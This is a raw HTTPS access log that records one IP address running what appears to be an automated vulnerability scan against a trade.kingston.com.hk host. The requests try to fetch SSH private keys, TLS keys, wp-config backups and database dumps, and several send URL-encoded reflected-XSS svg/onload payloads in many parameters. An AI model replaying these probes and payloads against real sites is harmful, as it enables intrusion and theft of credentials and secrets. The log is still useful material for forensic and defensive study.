[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zz.txt HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_dsa HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //?phpinfo=1 HTTP/1.1" 3426
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/v1/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //nse/SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/debug/events/cluster HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-title%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-view%27%29%3E&context=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-context%27%29%3E&passwd=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-passwd%27%29%3E&count=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-count%27%29%3E&delete=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-delete%27%29%3E&test=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-test%27%29%3E&hash=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-hash%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-csrf_token%27%29%3E&o=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-o%27%29%3E&activate=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-activate%27%29%3E&edit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-edit%27%29%3E&ip=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ip%27%29%3E&r=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-r%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //reminder.sh HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AsiCommon/Controls/ContentManagement/ContentDesigner/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //translate.sql HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /moto/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //sphinx-graphiql HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //z.txt HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_1024 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/debug/events/local HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //l.php?act=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SmartEditor2.html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-redirect%27%29%3E&linkcheck=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-linkcheck%27%29%3E&port=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-port%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-password%27%29%3E&target=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-target%27%29%3E&method=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-method%27%29%3E&note=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-note%27%29%3E&amount=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-amount%27%29%3E&set=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-set%27%29%3E&q=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-q%27%29%3E&select=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-select%27%29%3E&cid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cid%27%29%3E&tag=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tag%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-keyword%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysqlbackup.sh HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //users.sql HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.old HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Partners/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //subscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/Calendar/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.1.json HTTP/1.1" 196
[09/Jan/2026:10:52:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_2048 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //M.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/database.db HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //apps/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?edit-menu-item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-edit-menu-item%27%29%3E&error=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-error%27%29%3E&post_title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_title%27%29%3E&x=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-x%27%29%3E&down=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-down%27%29%3E&state=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-state%27%29%3E&data=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-data%27%29%3E&auth=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-auth%27%29%3E&themes=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-themes%27%29%3E&captcha=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-captcha%27%29%3E&nickname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-nickname%27%29%3E&allusers=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-allusers%27%29%3E&color=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-color%27%29%3E&path=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-path%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/doc HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dev2local.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.OLD HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radio/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.xz HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/jobs HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/portlets/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //www.sql HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_3072 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ie.txt HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/production.db HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/docs/ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.zip HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?next=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-next%27%29%3E&preview=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview%27%29%3E&shortcode=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-shortcode%27%29%3E&features=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-features%27%29%3E&mode=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-mode%27%29%3E&out_trade_no=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-out_trade_no%27%29%3E&category=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-category%27%29%3E&replytocom=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-replytocom%27%29%3E&from=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-from%27%29%3E&start=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-start%27%29%3E&value=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-value%27%29%3E&range=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-range%27%29%3E&table=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-table%27%29%3E&limit=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-limit%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/UserControl/CMS/Page/Telerik.Web.UI.DialogHandler.aspx/Desktopmodules/Admin/dnnWerk.Users/DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //plugin/editor/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/pipelines/pipeline HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //local2dev.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seminovos/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/uploads/dump.sql HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/altair HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/id_rsa_4096 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xxx.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.db HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.z HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.inc HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //local2prod.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //latest/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Telerik.Web.UI.DialogHandler.axd?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/pipelines/rule HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-callback%27%29%3E&weblog_title=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-weblog_title%27%29%3E&check=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-check%27%29%3E&overwrite=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-overwrite%27%29%3E&prefix=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-prefix%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-l%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-token%27%29%3E&start_date=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-start_date%27%29%3E&direction=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-direction%27%29%3E&ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-ID%27%29%3E&pid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-pid%27%29%3E&to=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-to%27%29%3E&checkemail=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-checkemail%27%29%3E&menu-locations=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu-locations%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //x.txt HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk:443.key HTTP/1.1" 199
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /site_cg/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //prod2local.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/urlwhitelist/check HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.Z HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-name%27%29%3E&json=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-json%27%29%3E&id_base=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-id_base%27%29%3E&where=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-where%27%29%3E&request=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-request%27%29%3E&notes=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-notes%27%29%3E&img=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-img%27%29%3E&a=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-a%27%29%3E&menu-item=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-menu-item%27%29%3E&xml=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-xml%27%29%3E&columns=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-columns%27%29%3E&service=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-service%27%29%3E&site_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-site_id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Content/ckeditor/samples/old/replacebyclass.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v1/explorer HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger.yml HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk:443.pem HTTP/1.1" 199
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //logs.txt HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slr/application/configs/application.ini HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system/urlwhitelist/generate_regex HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //rsync.sh HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.html HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.kingston.com.hk.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.children.json/FNZ.css HTTP/1.1" 196
